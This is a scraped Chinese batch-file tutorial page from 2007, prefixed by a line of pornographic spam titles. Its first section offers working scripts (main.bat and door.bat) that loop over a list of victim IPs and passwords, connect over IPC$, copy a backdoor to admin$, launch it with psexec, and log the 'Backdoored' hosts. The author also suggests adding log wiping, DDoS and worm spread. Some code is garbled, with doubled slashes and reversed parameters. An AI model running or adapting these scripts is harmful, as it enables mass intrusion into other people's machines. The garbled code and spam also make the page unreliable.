亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

批處理文件制作實(shí)例精彩教程第3/5頁(yè)

 更新時(shí)間:2007年02月28日 00:00:00   作者:  

主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable) 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
tokens的用法請(qǐng)參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。 
而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來(lái)篩選成功種植后門的主機(jī),并echo出來(lái),或者echo到指定的文件。 
delims= 表示vivtim.txt中的內(nèi)容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來(lái)排列,一般就是 ip password username。 
代碼雛形: 

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- 
@echo off 
@if "%1"=="" goto usage 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k 
@goto end 
:usage 
@echo run this batch in dos modle.or just double-click it. 
:end 
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- 


------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- 
@net use ////%1//ipc$ %3 /u:"%2" 
@if errorlevel 1 goto failed 
@echo Trying to establish the IPC$ connection …………OK 
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt 
@psexec ////%1 c://winnt//system32//windrv32.exe 
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed 
@echo Sorry can not connected to the victim. 
----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 
這只是一個(gè)自動(dòng)種植后門批處理的雛形,兩個(gè)批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容 
尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究. 
二.如何在批處理文件中使用參數(shù) 

批處理中可以使用參數(shù),一般從1%到 9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來(lái)移動(dòng),這種情況并不多見,我們就不考慮它了。 
sample1:fomat.bat 
@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
這個(gè)例子用于連續(xù)地格式化幾張軟盤,所以用的時(shí)候需在dos窗口輸入fomat.bat a,呵呵,好像有點(diǎn)畫蛇添足了~^_^ 
sample2: 
當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫入一個(gè)批處理,把肉雞地ip password username 當(dāng)著參數(shù)來(lái)賦給這個(gè)批處理,這樣就不用每次都打命令了。 
@echo off 
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個(gè)參數(shù)。 
@if errorlevel 1 echo connection failed 
怎么樣,使用參數(shù)還是比較簡(jiǎn)單的吧?你這么帥一定學(xué)會(huì)了^_^.No.3 

三.如何使用組合命令(Compound Command) 

1.& 

Usage:第一條命令 & 第二條命令 [& 第三條命令...] 

用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功 

Sample: 
C://>dir z: & dir c://Ex4rch 
The system cannot find the path specified. 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c://Ex4rch 

2002-05-14 23:51 <DIR> . 
2002-05-14 23:51 <DIR> .. 
2002-05-14 23:51 14 sometips.gif 

2.&& 

Usage:第一條命令 && 第二條命令 [&& 第三條命令...] 

用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令; 

Sample: 
C://>dir z: && dir c://Ex4rch 
The system cannot find the path specified. 

C://>dir c://Ex4rch && dir z: 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB 

Directory of c://Ex4rch 

2002-05-14 23:55 <DIR> . 
2002-05-14 23:55 <DIR> .. 
2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
2 Dir(s) 768,671,744 bytes free 
The system cannot find the path specified. 

在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡(jiǎn)單,如: 
dir 文件://192.168.0.1/database/backup.mdb && copy 文件://192.168.0.1/database/backup.mdb E://backup 
如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了 :)

相關(guān)文章

最新評(píng)論